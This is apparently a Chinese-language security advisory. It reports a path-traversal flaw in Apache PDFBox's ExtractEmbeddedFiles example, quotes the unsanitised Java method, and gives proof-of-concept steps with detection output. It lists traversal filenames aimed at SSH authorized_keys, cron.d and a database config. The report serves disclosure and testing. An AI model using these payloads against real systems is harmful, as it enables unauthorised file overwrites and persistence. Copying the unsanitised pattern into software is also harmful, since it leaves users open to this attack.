Apache PDFBox 的 ExtractEmbeddedFiles 示例代码在从 PDF 中提取嵌入文件时未对文件名进行净化处理。攻击者可以嵌入包含路径遍历序列(../)的文件,从而将文件写入文件系统的任意位置。
文件: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // 未进行净化处理
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // 创建任意目录
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // 写入任意位置
}
}
filename 参数直接来自 PDF,未经任何验证。
SSH 密钥注入
../../.ssh/authorized_keysCron 任务注入
../../../etc/cron.d/malicious配置覆盖
../../config/database.ymlcreate_malicious_pdf.py - 生成包含路径遍历的恶意 PDFTestPathTraversal.java - 演示该漏洞test_path_traversal.sh - 自动化测试脚本malicious_path_traversal.pdf - 预生成的恶意 PDF./test_path_traversal.sh
# 1. 生成恶意 PDF
python3 create_malicious_pdf.py
# 2. 编译测试(需要 PDFBox JAR)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. 运行测试
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. 验证路径遍历
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.java 示例代码PDComplexFileSpecification.getFilename() 且未进行净化处理的代码